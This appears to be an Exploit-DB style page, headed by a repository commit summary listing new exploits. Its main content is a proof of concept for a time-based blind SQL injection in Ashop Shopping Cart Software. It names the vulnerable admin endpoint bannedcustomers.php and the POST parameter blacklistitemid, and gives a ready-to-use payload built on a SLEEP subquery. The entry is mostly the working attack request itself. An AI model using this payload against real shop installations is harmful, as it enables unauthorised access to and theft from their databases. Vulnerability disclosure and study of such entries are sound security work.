be8aa5121b
7 changes to exploits/shellcodes Microsoft Windows - AppX Deployment Service Privilege Escalation PHP 7.2 - 'imagecolormatch()' Out of Band Heap Write TP-LINK TL-WR940N / TL-WR941ND - Buffer Overflow Apache Axis 1.4 - Remote Code Execution Ashop Shopping Cart Software - 'bannedcustomers.php?blacklistitemid' SQL Injection Linux/x64 - XANAX Encoder Shellcode (127 bytes) Linux/x64 - XANAX Decoder Shellcode (127 bytes)
18 lines
No EOL
655 B
Text
18 lines
No EOL
655 B
Text
# Exploit Title: Ashop Shopping Cart Software - SQL Injection
|
|
# Date: 08.04.2019
|
|
# Exploit Author: Doğukan Karaciğer
|
|
# Vendor Homepage: http://www.ashopsoftware.com
|
|
# Software Link: https://sourceforge.net/projects/ashop/
|
|
# Demo Site: http://demo.ashopsoftware.com/
|
|
# Version: Lastest
|
|
# Tested on: Ubuntu-trusty-64
|
|
# CVE: N/A
|
|
|
|
----- PoC: SQLi -----
|
|
|
|
Request: http://localhost/[PATH]/admin/bannedcustomers.php
|
|
Parameter: blacklistitemid (POST)
|
|
Type: AND/OR time-based blind
|
|
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
|
Payload: blacklistitem=1&deletebutton=Delete&blacklistitemid=1 AND (SELECT
|
|
* FROM (SELECT(SLEEP(5)))MGvE) |